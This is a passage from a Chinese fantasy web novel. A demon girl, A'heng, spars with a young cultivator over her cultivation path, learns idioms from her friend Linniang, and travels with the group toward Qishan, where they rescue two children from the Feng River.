霖娘停下来,回头看他:“我那时候很愤怒,明明她拥有我的躯壳,明明我爹娘也对她好过,她却那么冰冷,冷得完全不像一个人类,没有半点人类的情感,我那一瞬间甚至恨她,恨她为什么不懂,为什么可以那么的冷。” “可是,后来我又想,那是我的仇恨,不是她的,我不该那样强求。” “阿姮不是人类,她生来不通人类的情感,”霖娘继续说道,“但是我能感觉得到,她其实并不是什么都不明白,这个人间给她什么,她都有回赠,她才不是没有心肠的怪物。” “我知道,她是个好妖。” 积玉说道。 “那我们说好了。” 霖娘摆出一副严肃的神情,说:“往后不管人与妖之间的局面如何,不管别人怎样看待阿姮,我们都要一直信她。” 积玉想了想,也严肃地点点头:“行。” “你们在干嘛?” 阿姮的声音落来。 霖娘转身,见阿姮在巷子口那儿探出头来,飞扬的雪花落在她的发上,她那双眼睛正一瞬不瞬地盯着他们。 “来了来了!” 霖娘提着裙摆跑过去。 到了客栈,积玉拿出钱来,问掌柜要了两间房,随后便对阿姮说道:“现在,你该解开小师叔的傀儡术了吧?” “我还没玩够呢。” 阿姮眼睛弯起来:“今晚我就抱着他睡了。” 这些天来风餐露宿,也没正经住过客栈,阿姮一直抱着布娃娃不撒手,积玉已经忍了她很久,此时他眼皮一颤,立即震怒:“你你你说什么?!” “……那我呢?” 霖娘干巴巴地问。 阿姮看向她:“你也一起啊。” 霖娘捂住脸,发出微弱的声音:“……不了吧。” “快将小师叔给我!” 积玉上去要抢,阿姮却身姿轻盈地躲开,转身便往楼上去,积玉气得头皮都要炸开,他伸手去摸背后的金剑,霖娘连忙按住他:“冷静!冷静啊!你不是也知道吗?程公子金身破损,清气外溢,阿姮这么做都是为了让他好好恢复,一共十五日,只要,只要过了今晚,傀儡术自行消解,程公子的金身也就恢复了!” “你让开!” 积玉眼看阿姮上了楼,他气急败坏:“我今日说什么都不能让她污我小师叔的清白!” 大堂里鸦雀无声。 掌柜站在柜台后头一副百思不得其解的茫然样。 霖娘看了一眼掌柜,干笑一声,仍没松开积玉,凑近过去,低声说道:“不是我说,这些天她时时刻刻都将那布娃娃抱在怀里,怎么在外头可以,进了一个屋子就不可以了?我先跟你说啊,你可别惹阿姮,她脾气坏,你讨不到好果子吃的!” 楼上,阿姮已经进了屋子。 积玉推开霖娘奔上去,却根本推不开那道门,他看着门缝中浮出来的红雾,气得一屁股坐下去。 “哎,我钱不够,你再给我要一间房吧。” 霖娘说道。 积玉抱着金剑坐在门前,沉着脸:“你去隔壁。” 霖娘反应过来:“你……不会要一直坐在这儿吧?” 积玉冷哼一声,看向身后的那道隔门,他扬声道:“今夜我就坐在这里!” 屋中,阿姮躺倒在床上,手指拨弄着银亮的法绳上漂亮的珠饰,她这些天玩过他的头发,还从峣雨送她的偏凤上的红色宝石摘下来点缀在他身上,霖娘也有一些漂亮的珠玉,她通通拿来,换着往布娃娃身上装饰。 “为什么这些都没你身上的好看呢?” 阿姮在霖娘拿给她玩儿的珠玉里挑挑拣拣,始终没挑到好的。 这些珠玉,甚至是峣雨送给她的偏凤珠钗上的宝石,都远不如他戴的宝珠,和他腰间法绳上的珠饰漂亮。 阿姮懒得挑了。 此时她双目所见,色彩分明,阿姮手指点了点布娃娃黑色的衣襟:“这么多天都是这衣裳……真是,看腻了。” 她眼珠转了转,指尖顺着衣襟的边缘轻轻勾开,金芒乍现,阿姮整个手掌被震得麻木,与此同时,她的颈项被一只手扼住,整个人被压倒在床上。 屋中没有点烛,只有隔门外廊上的灯笼映进来淡薄的光,阿姮抬眸,望向压在她身上的少年,哪怕是在昏暗的阴影里,阿姮仍然将他看得很清楚。 他面容苍白,透着冷感。 浓密的眼睫垂下来,那双剔透漂亮的眼睛以冰冷的目光居高临下地睨着她。 他黑色的衣襟是凌乱的,里面那层雪白的领子也是歪的,露出来他半边的锁骨,流畅的线条而上没入肩骨,一粒血红的宝石点缀在锁骨下方,红得好像一滴血,又像一颗红痣,顺着他的呼吸,贴着他的肌骨而翕张起伏。 那是她亲手点缀上去的,她最喜欢的颜色。 “原来你这么久不理我,果真是在敛神疗伤,”阿姮将那只被金芒震得发麻的手贴上他的手背,“你的金身恢复了。” 他宽大的手掌掐着阿姮苍白又纤瘦的颈项,淡色的唇轻启:“你想做什么?” 阿姮并不挣扎,反倒笑眼盈盈:“就像给你做荷包一样,我忽然想给你做漂亮衣裳了,可惜你变回来了,你身形这样高大,我一定做不好。” 难道她荷包就做得很好吗? 什么做不好,都不过是她一时的兴趣,那点兴趣来得快去得也快,她从来都没有什么耐心,做出个荷包来也是因为她心中有所图。 程净竹早知道她的这副秉性。 他不说话,阿姮仍望着他,他胸前那串水青色的宝珠轻轻晃动着,鬓边垂落下来的那缕银灰色的发带着卷曲的弧度,那是她这些天一直用手指勾着玩儿的缘故。 她又凝视着他身上那颗小小的红色宝石。 那么像血,甚至令她有点口干舌燥,她忍不住抓住他的手,不顾他的钳制,想要靠他更近:“你很生气吗?” “小神仙,如果你很生气的话,” 一片昏昧的阴影之中,阿姮对上他的目光:“你也可以将我变成你的布娃娃,将我日日带在你的身边。” 第57章 第57章 乌桕子毒都没有他的这张嘴毒…… 床边一窗之隔, 外面临街,尽是风雪呼啸的声音,阿姮仰起脸,少年襟前的水青宝珠轻轻擦过她颊边, 他依旧神情冷漠, 吝啬一言, 但她的目光落在他的耳垂,竟然红得滴血,她心中血欲更甚, 不顾一切地凑上去, 唇齿就要咬上他的耳垂:“你为什么不说话?如果你那么对我, 我是绝不会生气的……” 她阴冷的气息近在咫尺, 程净竹眼帘轻抬,修长的指节一用力, 阿姮被他掐着脖颈再度被按倒在床上, 床沿轻薄的纱帐因此而轻轻飞拂。 槅门上有碎光顺着窗纱而入,投来一片昏暗的影, 床上更加阴暗, 程净竹冷眼睨着她:“做我的傀儡, 你知道那是什么滋味?不得自由, 你真的心甘情愿?” 阿姮却笑着仰起脸, 仍然不挣扎,纤细的脖颈在他掌中,竟有种引颈受戮的意味:“在你身边, 怎么会不得自由呢?小神仙,你要试试吗?” 她分毫不知退让,伸手便要触摸他的耳垂。 程净竹立即松开阿姮的脖颈, 攥住她手腕的刹那,将她整个人扔出去,阿姮的身影化为红雾,又转瞬凝聚在他身后。 阿姮靠在他后背,双手揽住他的肩,又顺着他的颈项往下,指尖触碰到他松散的衣襟里滚烫的皮肤,她的气息那样贴近他的耳边:“你身上这么烫,是因为你的伤还没好吗?你们人类果真是肉体凡胎,实在太脆弱了……” 她的手被金光震得又痛又麻,却始终不肯松开。 程净竹猛地攥住她的手。 阿姮觉得很痛,被金光震得痛,被他抓得也痛,但是她明显感觉到她手指之间,他肩颈紧实的肌肉因为忽然的发力而变得那么坚硬。 他也许是气的,呼吸都急促了,猛然间手上施力,阿姮被他拽得落到他怀里一瞬,那种清冽的药香短暂萦绕她的鼻息,他很快又将她按在床上,他浓密的眼睫垂下,那双浸满严寒雪意的眸子锋利若刀:“想做我的傀儡?” 他的声音冷极:“你这张嘴惯会讨巧卖乖,若我真将你变做傀儡,我有一百种办法让你再也变不回来。” 阿姮脸上的笑容一僵,她怀疑地皱起眉:“……你说真的?” 程净竹冷漠地凝视她。 她这张嘴总是很轻易地说出很多好听的话,但她却从来不会为这些从她口里说出来的话负责。 这样的她,从来都不明白什么是承诺。 槅门外灯笼摇晃的碎光缓缓划过她的脸颊,外面积玉小声背诵药王经的声音隐约传来,程净竹闭了闭眼睛,说:“你到底想做什么?” 阿姮果然再不提变成他的布娃娃的话了,她本来就是说着玩儿的,到了此刻,她也不再逗他了,她乖乖地躺在床上,笑盈盈地说:“我要修行才能提升我的力量,可修行是要修功法的,霖娘得积玉指点,修了你们药王殿的功法,但那是水系的,并不适合我,小神仙,我都把火种都给你了,你要不要教我更厉害的功法?” 她语气轻缓,好似旖旎耳语,仿佛她言辞之间给出去的并不是什么火种,而是她的心。 可她这样的妖邪是没有心的。 她的亲昵,她的笑容,都是假象。 程净竹松开她,坐直身体,一缕银灰色的长发垂落在他凌乱的衣襟边,那一粒鲜红的宝石与他苍白的皮肤相互映衬:“药王殿修的是清气为本源的功法,并不适合你。” 他惯常冷漠的口吻,阿姮却感觉到他似乎很是生气,她眯起眼睛:“究竟是不适合我,还是你根本就不想教我?” “我若不想教你,绝不会找任何借口。” 程净竹垂下眼睫:“我不像你,口蜜腹剑。” 阿姮这回是真没听过这个词,口什么蜜的,又跟剑有什么关系?但毫无疑问,这应该不是什么好词,他这张嘴,又在骂她。 “小神仙,我真想让你尝尝乌桕子的滋味。” 阿姮咬牙。 乌桕子毒都没有他的这张嘴毒。 “正道以清气立身,邪道以浊气为本,而你本相虚无,清浊相依,只修清气或者只修浊气非但不能使你有所成,反倒会伤你根本,准确地说,这世上没有任何一个真正适合你的功法。” 程净竹说道。 “没有?” 阿姮一怔,但她盯着面前的少年,他的确不像是在欺骗她,她的眉心拢起来,有点茫然:“怎么会没有呢?” “这世上的人类,还有妖邪,甚至鬼魅都有自己的修行之道,怎么偏偏我没有?”阿姮怎么也想不明白,“难道因为我从赤戎来?可……霖娘不也是从那里出来的吗?” “和你从哪里来并没有关系。” “那和什么有关系?” “这世上的所有功法都不是凭空得来的,只不过是前人为后人挣下来的荫蔽,是因为他们,所以如今的修行之人才有诸般造化。” 程净竹看着她:“没有适合你的功法不要紧,当初九仪娘娘也什么都没有,她持万木春从一个凡女到成为天地之母,每一步,都是她自己悟出来的,本源之力玄妙无穷,只要你观察入微,或可自成一道。” “……你是说,我也可以自己悟?” 阿姮撇嘴:“你也说了九仪是天地之母,我却是个妖邪,我们又不同道。” 昏暗的灯影淡淡铺在床沿,程净竹垂眸,银灰色的长发光泽莹润:“你即便是妖邪,也是万中无一的妖邪。” 阿姮愣住了,她忽然对上他的目光。 不知道为什么,此时此刻,坐在床上的这个黑衣少年明明冷似坚冰,恰也正是因为他的这份冷,让她没有办法怀疑他的认真。 他的语气,没有任何的嘲讽,他这样的人也从来不会虚伪地欺骗。 “万中无一的妖邪,” 阿姮有点吃不准,即便字面上看起来似乎没什么,但人类的语境总是有很多曲折的意味,她望着他,“你这句话不是在骂我吧?” 程净竹扯了扯唇角。 “所以,你真的相信我可以?”阿姮躺在柔软的衾被里,她的手指不自觉地勾着床沿便堆叠的纱帐玩儿,眼睛却一瞬不瞬地看着他。 程净竹却抬起脸,目光不知落在哪一处:“世上功法万千,修行之人修行功法,也要在已有的功法里悟出适合自己的东西来,才算真正地握住了自己修行的法门。” “无论是夺来的,还是求来的,不适合你的东西永远不会属于你,只有你自己的,才永远属于你。” 程净竹说道。 阿姮盯着他的脸,片刻,轻笑:“小神仙,你到底是在说功法,还是说心?别人的功法不适合我,所以永远不会是我的,别人的心脏,是一点一点从人家的血肉之躯里长的,所以,也不属于我,你是在警告我吗?” “为了积玉,”阿姮的笑意很快收敛,目光落在那道槅门上,“你还真是见缝插针。” 槅门外,积玉背药王经的声音变得有些模糊。 “随你怎么想。” 程净竹看向她:“现在,你出去。” “凭什么?”阿姮却在床上翻了个身:“这是我的屋子,小神仙,要么你今晚跟我躺一张床,要么你出去。” 程净竹双指结印,金芒闪烁。 阿姮顿时手脚受束,槅门此时忽然打开,靠在外面背药王经背得昏昏欲睡的积玉没有防备,一个后仰,摔进了屋子。 阿姮被扔了出去。 槅门“砰”的一声合上,积玉双手撑在地上,回过头看见床上的黑衣少年,他立即欣喜地唤:“小师叔!” 霖娘本在床上打坐,忽然听见外头的动静,她一下睁开眼睛,正是此时,槅门忽然被人一脚踹开,她临灯一看,竟是阿姮。 见阿姮气冲冲地跑进来,霖娘下了床,忙问道:“阿姮,你怎么了?” 阿姮一下坐到桌子边,臭着脸不说话。 “咒术解了?” 霖娘隐约听到积玉的大嗓门,她立即走到阿姮身边,将她上上下下打量一番:“程公子他……没揍你吧?” “谁揍谁啊?” 阿姮一张口,火气十分地大。 “那你到底怎么了嘛……” 霖娘坐在她身边。 阿姮嗅到霖娘身上的清气,她说:“小神仙说,这世上根本没有适合我的功法。” “什么?怎么会这样?” 霖娘愕然。 “我与你们本源不同,连用浊气做根基都不能。”阿姮说道。 霖娘一时间不知说些什么好,她看着阿姮片刻,忽然一把抓住她的手:“哎呀没关系的,你就算不修功法,单靠你的本源也很厉害啊。” “可我不能只靠本源。” 阿姮垂眸,目光落在霖娘抓着她的手上:“记得那个被我杀死的天衣人么?他说过,我是他们的东西,他们应该不会只派出那么一个人来找我才对。” 阿姮暗红的眸子有些阴冷:“他们敢将我当成他们的所有物,我若没有更强的力量,又如何让他们竖着来,横着走?” 霖娘握着阿姮的手一紧。 她想了想,说:“那,我保护你,我……我从今天开始,一定比从前加倍努力用功,我好好修行,一定保护好你!” 阿姮闻言,抬眸看向她:“被人保护有什么意思?” “……你怎么这也没意思那也没意思的,”霖娘简直头疼,“程公子怎么说的?没有别的办法了吗?” “他说既然没有适合我的,那我就自己悟。” 阿姮说着,想起他那副神情:“他还说……” “说什么?”霖娘追问。 “说,我即便是妖邪,那也是万中无一的妖邪。” 阿姮揉捻着这句话,忽然反抓住霖娘的手:“他这句话真的没有一点在嘲讽我,骂我的意思,对吧?” 霖娘也握紧她的手,眼里流露出兴奋的亮光:“当然没有!我保证,这是一句非常,非常好听的话!” “是吧?” 阿姮的嘴角不知不觉地扬起来:“我听到的时候,也觉得这应该是好听的话,他那张嘴,真的很难得说这样的话。” 好吧,她不给他喂乌桕子毒了。 原谅他。 但是,等等。 阿姮忽然又问霖娘:“那,口蜜腹剑,是什么意思?” “……” 霖娘咳嗽了一声,对上阿姮的目光,老老实实道:“这个……是骂人的话。” 阿姮冷哼一声,外面风雪正盛,如今正是夜色浓深的时候,她想了想,对霖娘道:“反正我们都不用睡觉,不如……” “不如一起修炼?” 霖娘十分振奋。 阿姮悠悠道:“不如你教我识字。” “……啊?” 霖娘呆住。 阿姮认真说道:“尤其是成语,我要学很多很多的成语,这样,我才能第一时间知道小神仙到底哪一句在骂我,哪一句在夸我。” 第58章 第58章 他这个人从里到外,都是冷的…… 天边亮起白光, 积玉来敲门催促启程,槅门一开,他看见一脸菜色的霖娘从里面出来,那张本就苍白的脸, 此时更是惨白, 一副气若游丝, 鬼气森森的模样,积玉吓了一跳:“你怎么一副清气被吸干的样子?” “……” 霖娘扯扯唇,笑得比哭还难看。 积玉正奇怪她怎么话也不说, 却见阿姮慢吞吞地从里面出来, 竟也是一副萎靡不振的模样, 头发也没梳, 只用一根丝绳胡乱绑着。 “难道昨夜有什么鬼祟前来?” 积玉惊诧:“不对啊,我怎么什么都没听到……” “呆头呆脑。” 阿姮抬起眼帘盯着他, 幽幽道。 霖娘没想到阿姮苦学半夜, 这么快便开始活学活用了,见积玉眉目有着火的趋势, 霖娘脸盲推他:“你先去, 我和阿姮马上就来!” “她怎么一大早就骂我?” 积玉质问。 “……她, 她胡乱说的, 你又不是不知道她是个文盲妖怪!她怎么懂这些呢, 别生气,快走快走!” 霖娘使劲推他。 积玉想了想,也是, 阿姮连字都不识几个,能知道什么? 他一边下楼,一边说道:“你们快点!小师叔已经在下面吃了一碗茶了!” 霖娘松了口气, 转身看阿姮靠在槅门边,似笑非笑:“文盲妖怪?” “……”霖娘有点心虚,也没有回应,她拉住阿姮钻回屋子里,将她按着坐下,又掏出木梳来给她梳头,“你怎么总看积玉不顺眼?” “我难道必须要看他顺眼?” 阿姮说道。 “……那倒也不是。” 霖娘手指飞快,给她梳着发髻:“但是阿姮,我昨儿夜里也说了,原先是柳郎教我识字,我又没正经读过几本书,只晓得些烂俗话本而已,我一个半吊子,根本教不了你多少。” 霖娘本没有多少学问,教起阿姮来已经是绞尽脑汁了,偏偏阿姮还不是个乖学生,霖娘教了半夜,简直心力交瘁。 “什么烂俗话本?” “就……才子佳人那些嘛,我从前可喜欢看那些了,照理来说,我们这些前朝遗民在赤戎里繁衍数代,外面的世界明明变了又变,朝代换了又换,可关于这些才子佳人的戏码却还是屡见不鲜,”霖娘很快帮她梳好发髻,将万木春簪上,“自从澹云小姐与朝燕小姐的事之后,我便觉得这些东西没意思极了,无论是话本里,还是这世道中,总有一些自视高才的男人,他们也许富有,也许贫穷,他们是难得的才子,而佳人永远是他们的彩头,他们的攀云梯,他们的附庸,佳人为他们至死不渝,为他们忠贞不二,话本里至少多是一双男女的故事,但这世道却话本要恶心,多少男人得了妻,还要妾,更要妻妾亲如姐妹,要这些女人都围着他打转,指望他过活……我以后再不看那些东西了。” “你的柳郎不那样?” 阿姮故意问道。 “他当然不!” 霖娘连忙说道:“柳郎从小与我一起长大,他知道我的心意,我也知道他的心意,他是除了我爹娘之外对我最好的人,他……” 霖娘抿了抿唇,将木梳放回怀里,说:“他有一颗纯善的心,是值得我永远珍重的人。” 霖娘给阿姮梳好了头发,自己又匆匆梳理了一番,两人收拾好一块下楼,大堂里客人很少,阿姮一眼便看到那个黑衣少年站在客栈大门外面。 大门外是鹅毛般的飞雪,客栈的小二正拿着扫帚扫台阶下积了一夜的雪,天色灰蒙蒙的,人过之处,皆寒气如缕。 “小师叔,她们来了。” 积玉一眼看到她们两个,便对身边人道。 程净竹回头,对上阿姮的目光。 阿姮几乎是下意识地扬起笑容,他却淡淡一眼,转过身,往阶下去。 阿姮的笑容一下垮下来,撇了撇嘴。 霖娘拉着阿姮出去,跟上他们,市廛之间厚雪没有除尽,几人踩雪而去,灰暗的天边却有清音微动。 积玉敏锐地抬眸,他立即看准方向,双手结印,一道金光符咒乍现,积玉将那符咒攥住,瞬间捏碎成金光缕缕。 阿姮见他微微侧耳,似乎听见了些什么,随后,他立即走到程净竹面前,说道:“小师叔,师父传信,说东炎朝中近来有主张西征乌鹊国之意,经我上清紫霄宫相微殿查证,东炎国军中或已混入妖物!” 程净竹眉头微拧。 阿姮见他们两人神情肃穆,便说道:“军中混入妖物,是什么了不得的事么?那么多玄门僧道都是吃干饭的?” 阿姮至今还没见过人类的战争,那种你死我活,血流成河的厮杀,实在是令人思之兴奋。 积玉转过脸来:“当今世间妖孽横行,若有妖孽轻易操控人类的战争,这人间便不能称之为人间了,所以天上自有坐镇七杀星的杀伐之神以无上神力庇佑人间,使妖孽难以近人间各国军中一步。” “杀伐之神……”阿姮想起当日万艳山上,峣雨的那出以帝王气杀帝王气,想来便也有借得此神之力,“既有战神在天,那你上清紫霄宫的相微殿又是如何料定东炎军中混入了……我的同类?” “那不是你的同类。” 程净竹看向她:“人与妖在这世上都逃不脱上界的法眼,但这并不意味着没有别的办法。” 积玉顿时恍悟:“小师叔,您是说……天衣人?” 阿姮又听到这三个字,她一顿,迎上程净竹的目光。 “对啊!若是天衣人在背后做怪,便说得通了,”积玉攥起拳来,“说起来,我上清紫霄宫如今铸造法宝的技艺还是立山之出众位先辈精研天衣人留下的法宝典籍而悟出的东西,天衣人虽与常人一般,皆为一副血肉身躯,但他们才是铸造法宝的始祖,他们连生死轮回的法则都能躲得过……若是他们以非常之法,未必不能瞒天过海,使妖孽暗藏军中!” “什么意思?什么是连生死轮回的法则都能躲得过?” 霖娘忙问道。 积玉见程净竹抽出法绳,跃入天际,他立即召唤金剑,领着霖娘与阿姮飞入风雪之间,耳边风声凛凛,积玉一边维持着驱使金剑的手势,一边答霖娘道:“天衣人虽是血肉身躯,可他们死后却是不入轮回的,他们有办法躲过轮回,甚至可以起死回生。” “真聪明啊。” 阿姮说道。 积玉冷哼一声:“有些邪门歪道的聪明又怎样?他们都是一群神神叨叨的怪物,一心只想着恢复他们天衣神族当年的荣光,心里没有慈悲,只有尊卑。” “那他们役使妖孽藏匿军中是为什么呢?” 霖娘不解。 “军中若有妖物作祟,便可以轻易挑动战火。” 风中,程净竹手握法绳,凛冽的雪从他鬓边擦过,他垂眸,只见浓云之下,远处隐约显出酆水的波涛之貌:“天衣人是要搅乱整个人间,要妖与人为敌,人与人厮杀,神为此而内外交困,只要天下大乱,便有他们的复兴之机。” 酆水近了,积玉低头便见其九曲回肠,气势磅礴,奔流不息,他不禁道:“酆水是邕宁国与东炎国之间的天堑,因为这难以逾越的天堑,邕宁与东炎多少年来少有战事,毕竟酆水湍急,行人欲渡,尚且十分凶险,若是军队战船掠险而过,只怕两军交战之前便先要折损兵力在这茫茫酆水之中,自是得不偿失,但若借妖物之力,这天堑便不算什么了,邕宁与东炎之间若生战火,苦的便是百姓了……” “所以,我们必须尽早赶到岐山去拜见那位惠山元君。” 程净竹说道。 阿姮略微思索,明白过来:“看来那位惠山元君便是七杀星了,不过,你们不是说天意人不惧其星宿之力,自有办法使妖藏匿军中,如今找那元君又有何用?” “我们尚不清楚惠山元君在岐山降妖的境况,我们必须找到元君,探明军中妖物的出现究竟是因为天衣人用了特别之法,还是元君在岐山遇到了什么,以至于星宿之力减弱,未能以威压治世。” 程净竹说道:“天衣人一向只会在认为他们十拿九稳的时候方才露出点本来面目,若东炎军中已出现妖物,那么他国的军中或许也已经为妖物所扰,所以此行刻不容缓。” 阿姮明白过来,小神仙这是担心岐山妖祸或许也是天衣人的手笔,她化为红雾缕缕飘去他身边,声音几乎贴近他耳廓:“小神仙,你似乎对天衣人很是了解。” 也不知是不是这云端的冷风吹的,阿姮见他浓密的睫毛微微颤动,随后,那双剔透冰冷的眼看了过来:“我却不是最了解他们的那一个。” 红雾一滞。 什么意思? 后面霖娘并未听清他们两个说什么,她身在云端,见底下酆水更近,气势万千,她不由说道:“这酆水壮阔,远不是赤戎的黑水河可比的,真不愧是天地造化的天堑奇险……” 积玉鼻子被风吹得生疼,忍不住打了个大喷嚏,听见身边霖娘的话,他便说道:“我却听说,酆水并非是天地自然造化,相传千年前酆水并不像如今这般波澜壮阔,那时邕宁国与东炎国时有摩擦,战火不断,而相比于兵强马壮的邕宁,那时的东炎还很弱小,东炎虽弱,却不肯因弱而降,可那邕宁皇帝野心之巨,哪怕东炎国倾国之力抵挡,也难掩颓势。 那时,东炎有位相国,乃天下闻名的大儒,他不忍眼看东炎覆灭,一力保住东炎皇室血脉,稳住国中乱局,又投身火线,一朝兵败却宁死不降,当场带领百来残兵跳入酆水之中,邕宁乱箭入水,水面一片血红,邕宁以为大胜,正欲乘胜追击,彻底踏平东炎,忽然之间,酆水暴涨,血红之水漫过原野,以莽莽湍流阻去前路,邕宁军队不识水性,何况酆水之急,转瞬便可吞船溺命,邕宁皇帝的野心付之一炬,从此酆水化为天堑,隔断两国,东炎也因此而得以保全,国力日益鼎盛,到如今,已是傲视群雄。” “真的假的?听起来好像话本子啊。” 积玉讲得引人入胜,霖娘自是听得津津有味。 “自然是真的!” 积玉说道:“我师祖有时会到我师父梦中说些仙家趣闻,我也是听师父说,那昔日的东炎相国,正是如今的酆水水伯。” 水伯? 霖娘低头再看底下,他们并没有飞得很高,所以依稀可见满目波涛,但忽然间,她看见水中似有什么黑点闪动,她疑惑道:“那是什么?” 阿姮化出身形,她这双眼可比积玉那凡人的肉眼好用得多,她瞥了一眼,慢悠悠道:“没什么,不过两个人类在里面扑腾而已。” “……什么?!” 霖娘与积玉异口同声。 “那快救人啊!” 霖娘明明只学了些御风的皮毛,如今却什么都顾不得,忙往底下冲去,积玉也操控金剑紧跟而去。 阿姮却看向程净竹:“小神仙,我们比一比好了,看看谁最先将那两只落汤鸡抓上来?” 程净竹瞥她一眼。 “还是说,你怕输给我啊?” 阿姮一笑,转瞬身化红雾,掠下云端。 她迅若闪电,刹那之间便将霖娘与积玉甩在身后,红雾如缕破开水浪,将那胡乱扑腾的人类带起的同时,银色法绳入水卷起另一个来。 越过滔滔水浪,一片烟波,红雾将那湿漉漉的家伙往岸边一丢,只听一声稚嫩的“哎哟”,阿姮化出身形来,定睛一看,那在岸边脏泥里滚了一圈的,竟然是个短手短脚的小孩,阿姮眉毛一挑:“是个落汤小鸡崽啊。” 再看被银色法绳带到岸边好端端站着的那少女,不过十三四岁的模样,眼睛上绑着湿漉漉的红布。 “哦,是两个。” 阿姮说道。 “啊啊啊救命啊!” 天上一声尖叫,阿姮才抬起头,便见霖娘脑袋向下,一头扎入水中,尖叫声被淹没,阿姮面无表情地看着霖娘慢慢从水中浮起,发髻一散,头发又湿又长。 第三个。 “你到底在叫什么?你不是水鬼吗?” 积玉落到岸边,收了剑,一脸莫名。 “水鬼……水鬼就不能怕水了吗?” 霖娘自是有苦说不出,她虽是水鬼没错,却因当初被掏心落水而死而对这汹涌波涛总有畏惧,她抹了一把脸,缓缓来到岸上,这才注意到那两个被救上来的人,她不由一诧:“你们不是那两个……” 一大一小,小的看起来最多也只有十岁,是个男孩儿,大的则是个十三四的小姑娘,她眼睛上的红布令霖娘记忆犹新。 阿姮抬起头,程净竹从云端落来岸上,银亮的法绳回到他腰间,上面晶莹的珠饰碰撞出点滴清音。 “你们两个怎么会落水?可是那人牙子又找到你们了?” 积玉问道。 “不是,我们连夜跑出镇子,他才找不到我们,”那小孩儿忙摇头,说,“我们是不小心从船上掉到水里了。” 阿姮抬眸,那茫茫水面之间似有个小竹筏随波而动,她挑眉:“那便是你们的船?” 霖娘一眼望去,那竹筏又窄又单薄,她倒吸一口凉气:“那也能叫做船?酆水如此湍急,你们两个是不要命了?” “我们没办法,要去岐山,就必须要渡过酆水。” 那眼睛裹着红布的少女发出细弱的声音。 积玉闻言一惊:“你们也要去岐山?” “也?”小孩儿立即扬起一张被水泡得发白的脸:“你们要去岐山吗?” 他抿了一下干裂的嘴唇,一双脏脏的手合握起来,指节上红红的冻疮已经开裂,一双眼睛却很明亮:“我和青娥姐姐可以跟你们一起走吗?” “当然不行!” 积玉拧起眉头:“岐山如今妖孽横行,那惠山元君至今仍在镇压,你们两个小小年纪,做什么要跑到那儿去?” 也不知是被寒风吹的,还是被积玉这样一副坚硬的态度吓的,那小孩儿颤了一下,几缕湿润的发贴在他颊边,他说道:“我知道仙长是有本事的人,求求你们,带上我们吧!” 他跪在烂泥里磕头。 霖娘连忙去拉他起来,见他额头上都是泥,便用自己的帕子给他擦:“小山,我记得你姐姐是喊你小山吧?你今年几岁了?” “我叫江崟,江水的江,山金崟,”小山垂下长长的眼睫,看向霖娘手里被泥水弄脏的帕子,他说,“母亲叫我小山,我十岁了。” 他想起母亲也有这样绣着兰草的帕子。 霖娘见小山模样生得很秀气,有一双大大的眼睛,只是脸上身上都太瘦了,一看便是长期食不果腹,她干脆将自己身上所有的银钱都塞给他,说:“小山,积玉哥哥说得很对,那岐山不是你们能去的。” 说着,霖娘转过脸,看向积玉:“我看我们得先给他们姐弟两个找到栖身之所,否则这样严寒的天气,他们要怎么办呢?” 积玉心中也十分认同,便看向程净竹:“小师叔,我看他们落了水,身上都是湿的,再不找地方安置,只怕要生病的。” 程净竹颔首:“去附近的村落看看。” 如此说定,积玉便背起小山,霖娘则拉着青娥,小山还有些不肯,别别扭扭地趴在积玉后背:“积玉哥哥,我自己可以走……” 积玉把头一偏,看到他脚上破破烂烂的草鞋,脚趾头肿得都在流血,也不知道走了多少路,他忍不住说道:“你这么个小孩儿跟谁学的逞强?你这身骨头没二两重,我背你就跟背个小鸡崽子似的,别乱动了。” 阿姮看那青娥倒是还好些,一双瘦小的脚上趿拉着一双不合脚的鞋,不至于满脚是伤,阿姮只一眼便看出那鞋子偏小,似乎很合适小山。 阿姮收回目光,恰逢积玉背着小山走过,小山转过脸来对上她的目光,无声喊了句“姐姐”,又看青娥一眼,摇了摇头。 阿姮明白过来,这小孩儿将自己的鞋给了青娥穿,这青娥却不知道他根本没有鞋子穿。 两个落过水的孩子不能受风,他们不便再用御风之术。 霖娘与积玉各自领着小山、青娥走在前面,阿姮则慢慢悠悠缀在后面,等程净竹近了,便与他并肩而行:“小神仙,我们方才是平手对吧?没想到,你这样清心寡欲的修行之人,也肯与我较劲,在乎输赢。” 程净竹淡淡说道:“我为何不能在乎?” “在乎输赢,不就是争强好胜?” 争强好胜。 她说出这四字成语来,程净竹侧过脸,看向她:“你知道什么是争强好胜?” “喜欢赢。” 阿姮说道:“我就喜欢赢。” “谁教的你?” 程净竹却问。 阿姮步履一顿:“不对吗?” “倒也没有不对,对你来说,你喜欢赢,所以要赢,但不是所有人都能像你这样凭一时心意决定自己要去赢得什么,对很多人来说,有时想赢,是因为责任,是因为毫无退路。” 阿姮不太明白,盯着他问:“那你方才想赢我,是为什么?” 风雪呼啸,山林素白,程净竹的目光落在她沾了雪的鬓发,启唇:“与你一样,喜欢赢。” 阿姮一愣,她的步履不禁放缓,程净竹很快走到她前面去,阿姮望着他的背影,那串背云轻轻地荡。 她发现自己似乎从未看透这个少年修士。 她其实并不以为他方才救起那青娥是因为她的一句“比一比”,她故意提起来,本以为他会严辞驳斥,说什么人命不该是她的游戏。 但他居然没有。 阿姮早见识过他的慈悲,赤戎黑水村里那么多人不信任他,他也依旧冒着金身破碎的风险救了他们,在谢府,她要杀谢氏女,也是他最先拦下。 可她就是觉得,他方才是为救人,也是在应她幼稚的比试,他太沉稳,也太聪慧,常常令阿姮忽略他是一个十七岁的人类少年。 但他心中有胜负,会应她幼稚的约,会和她说跟她一样喜欢赢,一身少年气。 阿姮顺着雪地里他的脚印,一步一步地跟着他走,踩雪的声音沙沙的,前面霖娘不知在和积玉他们说什么,她没心思细听。 她又偷偷地看程净竹的背影。 她忽然觉得他很奇怪。 他也许是慈悲的,但又不那么慈悲,阿姮总觉得,他并不像积玉和霖娘一样,真正在乎一个陌生人类的生死。 他不在乎黑水村人对他的误解,所以他那时才能不顾那些青骨病人的反抗,毫不犹豫,手起刀落。 他这个人从里到外,都是冷的。 阿姮这么想着,伸出手指,勾住他脊背中间的背云流苏。 程净竹的步履似乎稍稍一顿,但却并未停下。 阿姮笑眼盈盈,抓着他背后的珠饰流苏,继续踩着他的脚印,亦步亦趋。 几人大约走了一个时辰方才见到一村落,而此时正值午时,天边雪停,浓云散开来,淡薄的日光朗照一片白雪世界,村中屋舍林立,却竟然没有一缕炊烟。 